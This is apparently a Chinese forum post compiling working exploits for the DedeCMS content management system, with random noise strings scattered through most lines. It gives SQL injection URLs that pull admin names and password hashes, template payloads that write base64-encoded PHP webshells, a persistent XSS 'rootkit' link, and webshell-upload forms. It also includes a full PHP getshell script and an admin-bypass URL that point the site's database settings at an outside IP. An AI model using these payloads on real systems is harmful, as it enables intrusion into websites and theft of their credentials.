|
|
1 |! s: ]* B9 S" @0 w+ ~
Dedecms 5.6 rss注入漏洞
# q2 I( `) m2 h$ ]& |$ Xhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1' s) I# T2 T' U# ]- T
3 O' Q: W6 e9 J3 w' W: c! |- @1 l- J8 v# a
3 e9 P k; a8 {/ n
5 I/ L% y w& D2 N6 K
) |, Y3 T+ p, b1 D& P+ M- f* ^9 {1 u) [* m- r, O D% h& K# v% G. K5 ~
M+ C/ q3 M1 B5 K1 u! v2 u, j6 h1 L: v
DedeCms v5.6 嵌入恶意代码执行漏洞" v! [) i( C$ x- C+ ]! n/ D
注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}& G, h+ ^" A. M& p, s# m0 k0 p0 _
发表后查看或修改即可执行/ V( {4 Q- Q; N& B8 A
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}# H: {% ]4 e( |: o$ `$ ?
生成x.php 密码xiao,直接生成一句话。
, T- R& Q) K" ]+ x$ L2 L3 x6 B. p ~0 z4 z6 k5 S
, t* s5 e: f! e) `
: J+ {% A) u [4 V
0 ^- X7 [# B; Q* ~& H8 w- {8 a+ g$ Y9 s2 j: c7 D) J! B' j
$ z# A/ x. e! E2 F! h& W( j- @5 w6 A; } W: O2 z4 P# k1 w; y
# ^# Y3 [/ B1 o U
Dede 5.6 GBK SQL注入漏洞" i* ~5 g" I: c- c6 ?. S6 v, \
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';# r* L: m! Q- x9 n
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
( k) f0 [* n3 |- r7 r& u3 }http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7: k3 E: t$ r9 M4 A! G* V/ x
! ]5 f4 }+ |$ t0 ^, k" ~+ q
% w; [4 i$ _. Y1 q' i, x
* K; W; w8 U, i5 z# u# m; l! \' h
. s% G. Z% @- w6 ~" I, Z
( D( n7 c) h) c8 p% U4 Y# g
9 H1 f7 w' v3 Y3 j; E1 D
. `7 Y# ?# O# N" _! {* j4 c" R6 F; E
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
* j1 o, o+ ~+ O; L% dhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin` & d; {* B; L' S9 G! F, q: |2 h
7 i6 D: r$ z3 y; u( h
; N; V+ v* m: t
% Q( U9 W7 | e" _0 A2 V0 t; P- ^
/ ] c) r8 q( V6 q* e# i& S* k1 g1 j4 o& K* @# e7 \
6 s+ |4 K% t9 i0 L- M4 |: h% KDEDECMS 全版本 gotopage变量XSS漏洞9 R9 M+ U, E1 }" X# C# z
1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。
7 X7 f7 `$ Q0 E% w7 qhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="1 S; |( h. H# a4 K9 \
& [9 p- a; c% t: h/ Q3 ?4 ^
+ l5 V/ e: p/ c( i: ]8 B2 Z8 V
2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。
/ j5 Z$ ?3 B, t& ahttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
% } J. z1 h% P* f+ m4 D# a( ~+ h/ Z2 m7 M
+ [6 y1 X9 {( L# c2 G% ohttp://v57.demo.dedecms.com/dede/login.php
/ Y; P4 G) T5 L6 A# N( v$ J- h4 o' a; u" X. x
3 w! T& a; F" T8 }9 U0 c& W H2 J
color=Red]DeDeCMS(织梦)变量覆盖getshell
7 W f/ Y C: U+ ]& g3 s6 c#!usr/bin/php -w
* y) A3 l. ]$ ^. ^. I# {<?php
" ^, ?( {9 S( H* `% v: W/ W' gerror_reporting(E_ERROR);* q* n$ T( h" h
set_time_limit(0);
* t% E2 J& S7 K0 t" |+ Vprint_r('# W; x' Q; H( n& M/ A F
DEDEcms Variable Coverage
5 _8 L$ C$ m& E, oExploit Author: www.heixiaozi.comwww.webvul.com+ r* S; B4 I4 p# ?: D' g
);( }% ]2 T& |3 A9 a/ O" H+ |. W
echo "\r\n";
4 W+ X+ W D7 ?! |! \3 [if($argv[2]==null){0 J1 C% F% R8 U: Y" m
print_r('& }3 s2 I$ n4 I5 z9 P1 K
+---------------------------------------------------------------------------+
& b9 v% M# x( X9 z6 K8 U* lUsage: php '.$argv[0].' url aid path
! ~( z8 S, Z* y9 g" W, xaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
) d& a( X" b: Z: B2 u6 r5 FExample:
1 q# W6 f, m: J2 P/ F* mphp '.$argv[0].' www.site.com 1 old
: z7 W7 Q' Z( ~) @+---------------------------------------------------------------------------+
4 m5 N& a( j' l; @');
9 w5 q9 T/ ]! G9 kexit;
' f6 O6 a+ a3 h4 G" ]} x7 m/ z4 S [0 }/ @. `, q
$url=$argv[1];2 ~6 y; N- K1 Z/ J$ Z7 l2 ~: ]2 m
$aid=$argv[2];' e. Z3 \( G7 z- ~% b5 ^
$path=$argv[3];6 h. z& O& P9 ~, p. j% ~
$exp=Getshell($url,$aid,$path);: ^# n* @$ J n
if (strpos($exp,"OK")>12){
' D# `5 H9 P8 F: ~9 C2 i! Qecho "+ W" A0 R. O1 `
Exploit Success \n";
) T% l" I9 K) X' Eif($aid==1)echo "
4 L2 z* K- R7 ?: }) lShell:".$url."/$path/data/cache/fuck.php\n" ;0 X. Q5 j, c& Y! }
9 a" I5 {' c9 b9 {8 o, h4 Y
* C3 p$ Y3 _7 C$ [
if($aid==2)echo "
% q5 b* j4 V) Y- r& uShell:".$url."/$path/fuck.php\n" ;
! h' ]- C: {* J6 f8 z/ x, r8 [* u
9 o* y2 ~3 `" R; {/ j. g: P* v- |. \9 E1 b0 V9 U2 f
if($aid==3)echo "
% Z5 G" d% {) o/ a. XShell:".$url."/$path/plus/fuck.php\n";
, W2 N: W* M" V5 e1 v# T
7 l" j, M- O! {% W- f% N4 \' `6 L
}else{
, _" y5 n d; m Necho "
# c' @+ w9 m/ @Exploit Failed \n";2 [. j. z/ d% S9 w
}
( ?0 X& n% J/ B% L9 Sfunction Getshell($url,$aid,$path){
! v' J. a2 {0 q0 n$id=$aid;
! [ G0 F' _, ]& C! D8 v( T$host=$url;
' M: m: v" E( P, u5 }$port="80";& v9 s7 f d4 G, l5 S9 t
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";4 r$ s6 d! o, A1 B7 f
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";: V% O [1 ?( r# Y! O
$data .= "Host: ".$host."\r\n";5 m- ^. U. z3 X, ^. t4 q
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";$ [8 I# q7 y3 c3 k& O5 s
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";% I8 R5 V1 T3 Z% T
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";& m& H- |! m: a/ I
//$data .= "Accept-Encoding: gzip,deflate\r\n";+ m6 o! Q2 N2 `" P! l
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
, i C0 q/ n( t; @, G$data .= "Connection: keep-alive\r\n";7 q) S- v% P) j/ ?9 Y U
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
1 k4 C. @! T4 J$ x$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
u$ l2 n9 F; c+ c) v, e$data .= $content."\r\n";
$ d* Q0 K$ B: V' z& V& O1 d4 |$ X$ock=fsockopen($host,$port);
& H* Z. Z/ `, M/ o0 hif (!$ock) {
% {) E, {' ^' `& q' _3 {5 Qecho "
7 E/ l$ s6 B/ q* PNo response from ".$host."\n";
+ R- O" y) W0 ]}
) Q8 L9 t9 O$ _) j) j8 Y4 c' gfwrite($ock,$data);
, z8 h9 ~; t" z1 x7 l3 rwhile (!feof($ock)) {
, Q+ Y {0 `, f/ i- Y" E: g, b$exp=fgets($ock, 1024);; v: [6 v' U9 q/ @
return $exp;* \! b+ g) {; G6 t/ D
}7 i% `4 f ]4 c; x* n
}
* u; {3 ` q6 w. I5 `: g0 a& r5 O1 ?4 ]: Z
3 h$ u- h; u/ J8 A% x?>
q& x# }; w1 t6 H5 y4 c; i1 k1 d4 y) q2 n; B) i2 V
- a2 y# v" Y" I1 h* n
2 w3 u8 r- D" |: {3 t6 r n- t
- U% |0 W' j, U7 t: \% K7 y& G0 r+ @. Z
/ w* I4 `1 F* A
4 L+ W1 p# p' \% l- a$ y5 d5 d
% h4 P* X. ` ? F! Q
" M) g' z; T/ L3 r
# L( H$ ~5 s& J8 j
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)3 x, O* u8 ?7 U6 ~+ p0 {/ y. \
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
4 R3 j: W$ m$ }1 d
( B! I. U6 c3 {6 F
( z! m) q6 S( X, f. ~/ P& I$ W- M把上面validate=dcug改为当前的验证码,即可直接进入网站后台$ h5 v7 Z' f; \% Y7 J
# |! v" H* c- P- a' T7 U( J8 N. k/ ]( l" s6 K$ F
此漏洞的前提是必须得到后台路径才能实现
. [# n2 K- c9 ?+ `) V& P, d7 T6 B# V
; e. i: G, `1 W. |" s- x8 n0 ~; ]
9 x9 I6 p2 Q* j' _. o0 x0 T% A+ E
) i( @( q" K+ J: h B5 d; E
' [/ P, @' m5 L! e' H* C7 M0 h, u# A( X7 K* J f5 H5 Z
6 q8 a( H( E7 w. o1 u
t& H* i! G0 b1 A+ L* F8 n% m
0 A8 A2 r. L5 D% q+ v
: U& J, A( Z7 G- h gDedecms织梦 标签远程文件写入漏洞
9 T1 P( v- V& |* z( v+ J前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
: u U$ [8 }5 _
/ Y1 Q/ x) {0 E( Y2 z2 ~0 z% d+ n3 Y, X2 ]6 _
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。 & E; q7 A8 x3 g4 g# ^) c- N
<form action="" method="post" name="QuickSearch" id="QuickSearch">
8 _( {; o6 [! E8 v* m( T3 u<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />+ m; E3 L' w& J- |( o* t3 k
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
! v! [4 z$ Y1 e/ R9 h, O. ~<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />3 }; N* O' h+ u9 s6 m; z. m# k
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
g! S8 p* l2 N( [" ? D<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />" T: \2 z8 X, Y8 M% B) U
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />! j# Q+ _7 w. v0 i( V
<input type="text" value="true" name="nocache" style="width:400">
: J) }' v2 {% a0 p2 j<input type="submit" value="提交" name="QuickSearchBtn"><br />3 T/ x4 @, w, C Q3 U
</form>
& i# [# J/ F. M4 G1 k. X<script>
$ R% m; I" n( m- Qfunction addaction()/ }. w5 i7 {6 O1 _! w% i
{
5 N" E( y6 t4 [6 d! Y$ @+ Odocument.QuickSearch.action=document.QuickSearch.doaction.value;5 {1 r) C% Q7 E) }
}
: i# {, Q6 W" B* g6 j2 |+ O</script>0 d2 }+ ?6 A! O8 }$ N! Z, ]
# t& N% ^% C Z/ D4 R
# p" @, q6 G/ ~" D4 t
$ r4 V4 a0 ?" u) A1 O0 Q- O V+ o6 h1 W, ], r1 k: o
/ C, x7 v& v3 }. D" I
" |/ {+ X t0 J" x! Y" ]7 b8 f, O. r# c
$ c: I3 l/ H( R& b9 i& e
, @5 w+ W6 p& D( \4 H
8 @: m( s0 d/ w/ ` J' K3 k/ DDedeCms v5.6 嵌入恶意代码执行漏洞. A( f" K& C6 K: Q& g$ H, P; G
注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行8 ^; K1 H0 y8 q: v: d
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}; Y. J; Z6 l) _2 ?/ v- d* i' d
生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得& a! W" q5 Y2 ]. d+ L
Dedecms <= V5.6 Final模板执行漏洞
1 o# L& ?, @- w% [6 t% i注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:7 n8 r% q7 J% d( g( b/ r3 J
uploads/userup/2/12OMX04-15A.jpg
3 d- C/ v* v% M. K# O: @! l6 h4 f0 @; f2 }9 x
! I& {. x. S3 I# y
模板内容是(如果限制图片格式,加gif89a):
5 E8 I6 X3 Y5 t8 m{dede:name runphp='yes'}
) N9 d( l& C) i, N H$fp = @fopen("1.php", 'a');
& d. M1 Z1 n; P" Z, e( x1 }9 E@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n"); z; ]4 e4 b3 s; X4 c
@fclose($fp);
. c4 p: Z) S: z{/dede:name}' I( O1 k1 a4 U$ s w6 m
2 修改刚刚发表的文章,查看源文件,构造一个表单:
2 a) k+ o; [4 h6 H<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">, J. p' d% _& H8 g9 P7 s- b
<input type="hidden" name="dopost" value="save" />
( r" [1 H5 k! D1 _: }! }; {1 Z<input type="hidden" name="aid" value="2" />% g+ y1 @" C: z& x6 d
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
h' u t7 T. |' }5 a<input type="hidden" name="channelid" value="1" />. f' y5 k% O4 T& c9 [3 c* e
<input type="hidden" name="oldlitpic" value="" />
* r% O2 ~5 `1 |. a+ n ~' V<input type="hidden" name="sortrank" value="1275972263" />
, z( m4 ^9 k, G" |4 i# L/ c9 m4 ~$ i( }+ i& T9 N6 J
+ {; c3 j' j6 u( ]2 [+ G<div id="mainCp">4 ?" M& c7 N; F/ X! Z- F0 C
<h3 class="meTitle"><strong>修改文章</strong></h3>2 F$ K/ q* b$ m6 o1 O) i h
1 ^! f! Y2 t \8 x& m6 S0 E
0 c6 S+ v; J: _& S5 f
<div class="postForm">6 O, g6 O8 ]* ^0 `1 ]& l5 u) ^
<label>标题:</label>
$ [9 v; g2 L, A2 C; w3 A<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>/ e! y9 e3 x; i" O4 i
- D& ]# Z; L; K: _5 C0 r% c- j
; ]2 N5 y" n3 o# \7 k+ u/ n
<label>标签TAG:</label>
, I' Z6 a, m/ H: \! U<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)1 E) S) m z2 ?2 L+ l
( H$ ~5 Y m4 O/ i! N$ m7 e, t9 _: E, M8 Y5 w+ w" w1 j- V
<label>作者:</label>
, F+ d2 L+ Z5 M- b0 C<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>8 q. Z3 n& d3 e" q) B
1 Z- Z" Q1 u9 ?# W# g b0 d$ T" v; G( T
<label>隶属栏目:</label>) Z9 L/ n+ F: \' i
<select name='typeid' size='1'>
, Q5 S9 O3 P6 M0 [) Z4 y! r& ]) v<option value='1' class='option3' selected=''>测试栏目</option>
0 n% X ~( c5 v' N- @% n& D</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
5 e' q! D# E* a" [/ s! z9 \# D% ^& k3 ]
9 F' o& _9 J' r- y) ]2 S1 |
<label>我的分类:</label>
- ?! ?* ~2 g, l# t# W<select name='mtypesid' size='1'>' c' f3 k, }" @) a! D
<option value='0' selected>请选择分类...</option>: c& A) ?% V$ e
<option value='1' class='option3' selected>hahahha</option>
8 k5 ]3 K: O4 P# m</select>8 @9 S+ [8 N3 Z8 D
) A( o z; Q; L- {- }4 I4 z
% \6 V( j& [& A<label>信息摘要:</label>0 T/ [. q2 ~4 ~$ x9 v; t8 e9 a% z
<textarea name="description" id="description">1111111</textarea>
& I, t9 U/ j) F# k" ?3 w% l: B/ Z(内容的简要说明)
; N5 t- X5 D% Q. E5 A' N- c* M( r$ [
* J0 \* X: [8 ]5 f: B9 j% j<label>缩略图:</label>
# b) k8 s3 T! r7 h% R9 A( o. H" V) H, z<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
4 v' \% n# N& L
6 f/ I. x, p; [# A9 U/ Y
K6 j. z& c1 W4 n$ m<input type='text' name='templet'
* r* Q) W* E2 d6 F- G" Qvalue="../ uploads/userup/2/12OMX04-15A.jpg">6 K" u9 @( b. W
<input type='text' name='dede_addonfields'
r2 \$ Z% i" Qvalue="templet,htmltext;">(这里构造)
: P+ s* n+ s" c</div>
: F f6 y3 ?( K; p% p
4 S: z+ l) {- d: u% C- ?* a! J- g. @( j9 [* O
<!-- 表单操作区域 -->2 t* j- o% v# J7 D2 J: n. ?
<h3 class="meTitle">详细内容</h3>
6 d' V- J( a# g) F0 x/ t) D5 H; L. @% S% M6 r9 T; j
5 W; j7 u3 [1 x' S8 P) O
<div class="contentShow postForm">
$ Z3 v1 y% s& @" q8 M! i<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>: e; r/ c* I# c: H- v* G
+ W) O- X! Q$ ]4 K) O7 R/ E" b# a c- @9 a. v5 B
<label>验证码:</label>
8 j* Z- Z; R& P; ^& |<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />0 C3 ]7 u" g% {0 R4 y
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />
: Y0 S! c6 b' o+ f; W- u( z+ P& J1 ?
% g0 o1 G' b7 m7 q* {7 T& V& |
<button class="button2" type="submit">提交</button>
' m: ]" H1 g. T; b<button class="button2 ml10" type="reset">重置</button>
8 \1 J3 K+ x& X; `</div>$ o' N2 d- ^+ `7 G
( }% @+ e" {4 r& A; o0 G! h- x% T5 L2 i1 ]
</div>% |5 }5 a G$ O! b3 x3 u
. w% }+ C+ b8 V7 |+ [0 J
% q( Y+ W2 M; q& P* t M$ k2 U</form>" S/ r9 k. b: C- _$ P
! Y4 Y O9 Z' `9 R
/ ^5 ?) |" v6 ^! c1 {! S$ o, A# x
提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:
5 V' _% _/ O/ r7 I假设刚刚修改的文章的aid为2,则我们只需要访问:
; o8 X3 m$ x2 C4 f \http://127.0.0.1/dede/plus/view.php?aid=26 q; _" _" ?: b# P w9 p M
即可以在plus目录下生成webshell:1.php2 a% D* S5 l V$ J$ m1 V
( {* U2 ~/ H3 k, g* P
) k9 W6 l1 v1 b3 U; X7 r8 l! Q
. n/ a! I2 }6 G0 r" e2 B
- F7 m: C" Z; h, `+ U0 x
, m6 V) U) q" R4 Y- S/ t) A/ ]" ^ v, D9 [: X* E
- [# x q7 @8 m2 x7 r" |$ Q
) N4 t# r2 |: h. L2 N3 U A1 R
1 _" e: ?$ j& Y# C; `/ u
: y7 P' U5 K% o$ [( Q; Z2 }0 m6 q' u& o( Y6 Q& g
$ z& K# ?' {8 Y
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)* ^0 s* b: S+ c+ B
Gif89a{dede:field name='toby57' runphp='yes'}! s3 M8 }. c B/ N0 p
phpinfo();
5 v$ z0 V7 L/ B' K* ^5 B{/dede:field}
% {6 S) m/ O- t ` d保存为1.gif/ x2 {( {0 S y
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> ; t9 w6 r6 z- ~. t2 a8 N5 X8 [
<input type="hidden" name="aid" value="7" /> ; E" B3 [$ j& `7 t3 J
<input type="hidden" name="mediatype" value="1" />
, F# i/ n/ C8 ]. e% S<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
3 G3 W) i9 H5 w- Y2 c<input type="hidden" name="dopost" value="save" />
2 b! v; @* r" F<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
1 O/ x" ]1 G' {9 k<input name="addonfile" type="file" id="addonfile"/> " d9 e' N( |' U4 d& P( ]
<button class="button2" type="submit" >更改</button>
+ G" [6 H) j! S</form> . a. V! c. i) G% [* G+ M. L7 P% d
0 Q( j* o6 H8 z( d" ^, ^) `
7 ?7 A L7 s+ ?" w' c构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
( J: X' z. z# v" T发表文章,然后构造修改表单如下:% T9 N, ^4 T+ P; G* [0 M1 S& }
{& W, ~9 y7 d1 r& e( S# t3 r1 F
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
' j# O$ T" d) R' M. f2 _. @7 K<input type="hidden" name="dopost" value="save" /> # M" x4 [7 F0 c
<input type="hidden" name="aid" value="2" />
- q0 h; f8 I4 D* ^# O<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
6 {3 p; X3 n+ o' q# W! U6 V<input type="hidden" name="channelid" value="1" />
4 ]8 [ Y3 k+ H- n0 a<input type="hidden" name="oldlitpic" value="" />
) O7 _& n) ^$ C# i<input type="hidden" name="sortrank" value="1282049150" />
0 G. t4 F# @& l4 B' ~% Z* n0 v<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
: w" | S" {) s6 h) ?' ` M<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
2 {; V+ r$ i: P<select name='typeid' size='1'>
: U/ g! O- s2 A<option value='1' class='option3' selected=''>Test</option> 5 T: G2 ^# }# S% L. Y" Y
<select name='mtypesid' size='1'>
3 u! e8 f; Z, N N+ B$ W g<option value='0' selected>请选择分类...</option>
$ S% Z' ^" `- } n4 S4 ]- F5 C<option value='1' class='option3' selected>aa</option></select> 5 T0 \1 ^5 W5 b) l7 x$ q
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea> 0 L, O& m4 R$ S) j/ w
<input type='hidden' name='dede_addonfields' value="templet"> 6 A& Q) A5 p; R0 L, x4 H. f
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
( d, g3 @4 N# w) A. s. D, x% A- z+ }<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
4 J- u- N5 j9 W: D& o1 U x( E: V& A<button class="button2" type="submit">提交</button>
2 D3 B: B% E$ E( d9 x1 F</form> {% z& D z& F" Y, m
0 ?3 _( W Z1 v5 S8 `$ R) }0 t
6 ~/ ?+ N- T/ {5 g& }
; p, g# A; A* |& \7 i X. T$ {# r. P9 j6 w& _6 s k, D1 O2 ^
7 }3 _: [) R* x* v
6 y& l& y( y% U6 d: k, r
& u* g! L) p3 o- U: ?' F
, N0 g k- m; @' d* }. E- V' ]% w$ o' a$ }. Z6 i9 y2 D; g6 `& j+ [
( @6 J+ }5 B" {5 i
+ I2 X3 Q) H# E- j% R1 X, W$ n2 ^7 b6 `* z
织梦(Dedecms)V5.6 远程文件删除漏洞% y# v& j1 T& o; J% [7 i3 Y) D
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
! D7 X; M: L* O+ P0 h; x- C2 z( _9 ^# z+ Q* u2 B
D: Y6 T/ `+ k+ A0 G5 K! A- d9 h5 [0 s; ]) ~
' \: f/ N0 N' i# q1 s; c) V
& W; t) {+ T/ G
+ W3 D6 ^' p1 ?" K3 b
& X/ Y J! K. j; D$ P
4 C" t7 F8 {8 \2 C! L
. R9 A g% z: V4 \1 D2 j# M. P
2 Z' {" a6 B" o0 |6 f7 t' ^* z织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
; u4 T0 U( n2 q) f8 mhttp://www.test.com/plus/carbuya ... urn&code=../../4 a0 R: r1 B% c: Z# }1 O6 ]& d
x$ U1 T# ] C# _& M. j
4 _" @4 t6 w) Z% g; `" i' g! S. C# u
r) m0 q7 d7 A& O, ^, {4 x9 U# S5 T _
) y& O) o, F4 a
: i5 ?* ?+ M3 w# ^( x( N
2 E( F9 p7 z& t4 q5 m4 l: @7 v; C
4 u, B4 L4 ]/ Z" t& ^; z3 o: D; Y
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞 0 P$ A" i, W9 I# y% W
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`1 X1 i5 j& o L! ]
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5
/ ~! Z" C, Y0 R8 H6 P5 c
0 C5 H7 N" A" y9 }! Q& x& X
9 ?) U8 Q' a5 ]/ t: t
% P3 \) j+ \* V: s$ ?
* v; n* M( O3 J5 \; Q) n1 L2 |3 M6 f/ B$ T
i. R/ I3 c2 Z- @5 t, Z0 P
- v7 ]4 h3 @1 \& q4 G
8 {# Z' S }9 f0 d- J
, o$ i& J0 E8 j9 j5 W8 F" N: m
6 s: b, H7 r- X# T) S2 P& P$ ?( Q织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
0 M, I0 J. s8 a y0 Y% } M phttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='2 A. v- V: d% ^7 I! M, F) Z4 B
( Z2 U% b1 i# `. g/ E* n) x. y0 p9 b, d3 _5 G' c/ @3 a
4 Y4 |; G$ e1 i$ B% }" A/ }
1 }$ U' u: k# U. m/ d0 g& \9 Q
f, p) i6 y) T- g
5 k" A$ B( e- M5 u% D! h5 h
6 W+ E# M" d3 G) U% V5 ~/ g1 g$ K4 [3 d
q' D( v' a1 O
9 ]4 k e G1 y) t织梦(Dedecms)select_soft_post.php页面变量未初始漏洞: E3 B; t5 A) W# z4 M1 C: N7 e3 v% l
<html>+ r8 U9 p& {+ ^" e6 r# J
<head>
* e) q& Z1 u9 L1 k `2 j<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>* O' g8 c. \& T& }( I+ F4 z
